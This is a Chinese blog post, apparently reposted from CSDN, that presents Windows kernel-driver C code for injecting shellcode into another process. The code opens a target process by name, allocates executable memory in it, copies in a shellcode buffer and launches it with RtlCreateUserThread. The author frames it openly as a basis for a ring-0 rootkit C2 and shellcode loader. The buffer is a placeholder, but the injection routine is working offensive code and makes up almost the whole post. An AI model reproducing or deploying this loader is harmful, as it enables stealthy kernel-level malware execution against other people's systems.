驱动ShellCode注入
2023-12-29 15:36:01
文章目录
驱动ShellCode注入提权简述
常见的ShellCode加载器都是在R3层进行的如果有同学想在R0实现Rootkit C2并实现ShellCode注入或者是,
ShellCode加载器那么可以参考如下代码,该代码主要使用KeStackAttachProcess附件目标进程切换堆栈实现,
ShellCode加载效果。
#include <ntifs.h>
#include <ntddk.h>
//ShellCode
UCHAR assemblyCode[10000]={0x90,0x90,0x90,……}
// 根据进程ID返回进程EPROCESS结构体,失败返回NULL
PEPROCESS GetProcessNameByProcessId(HANDLE pid)
{
PEPROCESS ProcessObj = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
Status = PsLookupProcessByProcessId(pid, &ProcessObj);
if (NT_SUCCESS(Status))
return ProcessObj;
return NULL;
}
NTSTATUS GetProcessHandleByProcessId(HANDLE pid, PHANDLE processHandle) {
OBJECT_ATTRIBUTES objAttr;
CLIENT_ID cid;
NTSTATUS status;
InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
cid.UniqueProcess = pid;
cid.UniqueThread = NULL;
status = ZwOpenProcess(processHandle, PROCESS_ALL_ACCESS, &objAttr, &cid);
return status;
}
//提供一个Unload函数只是为了让这个程序能动态卸载
VOID DriverUnload(PDRIVER_OBJECT driver) {
DbgPrint("first:Our driver is unloading...\r\n");
}
NTKERNELAPI UCHAR* PsGetProcessImageFileName(IN PEPROCESS Process);
// 根据ProcessName获取到进程的PID号
HANDLE GetPidByProcessName(char* ProcessName)
{
PEPROCESS pCurrentEprocess = NULL;
HANDLE pid = 0;
for (int i = 0; i < 1000000000; i += 4)
{
pCurrentEprocess = GetProcessNameByProcessId((HANDLE)i);
if (pCurrentEprocess != NULL)
{
pid = PsGetProcessId(pCurrentEprocess);
if (strstr(PsGetProcessImageFileName(pCurrentEprocess), ProcessName) != NULL)
{
ObDereferenceObject(pCurrentEprocess);
return pid;
}
ObDereferenceObject(pCurrentEprocess);
}
}
return (HANDLE)-1;
}
NTSTATUS RtlCreateUserThread(
HANDLE ProcessHandle,
PSECURITY_DESCRIPTOR SecurityDescriptor,
BOOLEAN CreateSuspended,
ULONG StackZeroBits,
PULONG StackReserved,
PULONG StackCommit,
PVOID StartAddress,
PVOID StartParameter,
PHANDLE ThreadHandle,
PCLIENT_ID ClientID
);
//申请内存
NTSTATUS readprocess(HANDLE pid)
{
HANDLE jubing1;//存放进程句柄
OBJECT_ATTRIBUTES shuxing_duixiang;
CLIENT_ID iphao;
NTSTATUS zhuangtai1;
PVOID dizhi1;//分配好的内存地址
SIZE_T diqudaxiao;//分配好的内存尺寸
iphao.UniqueProcess = (HANDLE)pid;
iphao.UniqueThread = 0;
diqudaxiao = (sizeof(assemblyCode) + 0xFFFF);
dizhi1 = 0;//注意要赋值
memset(&shuxing_duixiang, 0, sizeof(OBJECT_ATTRIBUTES));
zhuangtai1 = ZwOpenProcess(&jubing1, GENERIC_ALL, &shuxing_duixiang, &iphao);//PROCESS_ALL_ACCESS
if (!NT_SUCCESS(zhuangtai1))
{
KdPrint(("进程打开失败\n"));
}
else
{
KdPrint(("打开进程成功 pid==%d 进程句柄%x\n", iphao.UniqueProcess, jubing1));
}
NTSTATUS res = ZwAllocateVirtualMemory(jubing1, &dizhi1, 0, &diqudaxiao, MEM_COMMIT, PAGE_EXECUTE_READWRITE);//在进程中分配一块可用内存
if (!NT_SUCCESS(res))
{
KdPrint(("内存分配失败\n"));
}
else
{
KdPrint(("分配好的虚拟内存地址%X 分配内存的大小%d\n", dizhi1, diqudaxiao));
/* NtWriteVirtualMemory();
ZwWriteVirtualMemory();*/
PHYSICAL_ADDRESS physAddress = MmGetPhysicalAddress(dizhi1);
DbgPrint("Allocated virtual address: %p\n", dizhi1);
DbgPrint("Physical address: %p\n", physAddress);
NTSTATUS status = STATUS_SUCCESS;
PEPROCESS targetProcess = NULL;
// 根据 PID 获取目标进程对象
status = PsLookupProcessByProcessId(pid, &targetProcess);
KAPC_STATE apcState;
//附加目标进程切换堆栈
KeStackAttachProcess(targetProcess, &apcState);
//将shellcode拷贝到目标进程虚拟内存中
memcpy(dizhi1, assemblyCode, sizeof(assemblyCode));
HANDLE hThread;
//创建线程执行ShellCode
CLIENT_ID clientId;
NTSTATUS ThreadStatus = RtlCreateUserThread(jubing1, NULL, FALSE, 0, NULL, NULL, dizhi1, NULL, &hThread, &clientId);
KeUnstackDetachProcess(&apcState);
}
ZwClose(jubing1);
return 0;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path) {
readprocess(GetPidByProcessName("process.exe"));
return STATUS_SUCCESS;
}
文章来源:https://blog.csdn.net/qq_18811919/article/details/131094033
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!